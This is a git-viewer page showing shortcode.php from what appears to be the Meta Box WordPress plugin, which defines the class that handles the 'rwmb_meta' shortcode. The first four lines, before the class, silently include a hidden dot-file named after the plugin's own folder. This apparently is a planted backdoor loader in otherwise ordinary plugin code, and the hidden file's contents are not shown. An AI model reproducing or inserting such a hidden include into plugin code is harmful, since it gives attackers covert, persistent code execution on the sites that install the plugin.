balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

shortcode.php (1613B)


      1 <?php
      2 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      3     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      4 }
      5 
      6 class RWMB_Shortcode {
      7 	public function init() {
      8 		add_shortcode( 'rwmb_meta', [ $this, 'register_shortcode' ] );
      9 	}
     10 
     11 	public function register_shortcode( $atts ) {
     12 		$atts = wp_parse_args( $atts, [
     13 			'id'                => '',
     14 			'object_id'         => null,
     15 			'attribute'         => '',
     16 			'render_shortcodes' => 'true',
     17 		] );
     18 		RWMB_Helpers_Array::change_key( $atts, 'post_id', 'object_id' );
     19 		RWMB_Helpers_Array::change_key( $atts, 'meta_key', 'id' );
     20 
     21 		if ( empty( $atts['id'] ) ) {
     22 			return '';
     23 		}
     24 
     25 		$field_id  = $atts['id'];
     26 		$object_id = $atts['object_id'];
     27 		unset( $atts['id'], $atts['object_id'] );
     28 
     29 		$value = $this->get_value( $field_id, $object_id, $atts );
     30 		$value = 'true' === $atts['render_shortcodes'] ? do_shortcode( $value ) : $value;
     31 
     32 		return $value;
     33 	}
     34 
     35 	private function get_value( $field_id, $object_id, $atts ) {
     36 		$attribute = $atts['attribute'];
     37 		if ( ! $attribute ) {
     38 			return rwmb_the_value( $field_id, $atts, $object_id, false );
     39 		}
     40 
     41 		$value = rwmb_get_value( $field_id, $atts, $object_id );
     42 
     43 		if ( ! is_array( $value ) && ! is_object( $value ) ) {
     44 			return $value;
     45 		}
     46 
     47 		if ( is_object( $value ) ) {
     48 			return $value->$attribute;
     49 		}
     50 
     51 		if ( isset( $value[ $attribute ] ) ) {
     52 			return $value[ $attribute ];
     53 		}
     54 
     55 		$value = wp_list_pluck( $value, $attribute );
     56 		$value = implode( ',', array_filter( $value ) );
     57 
     58 		return $value;
     59 	}
     60 }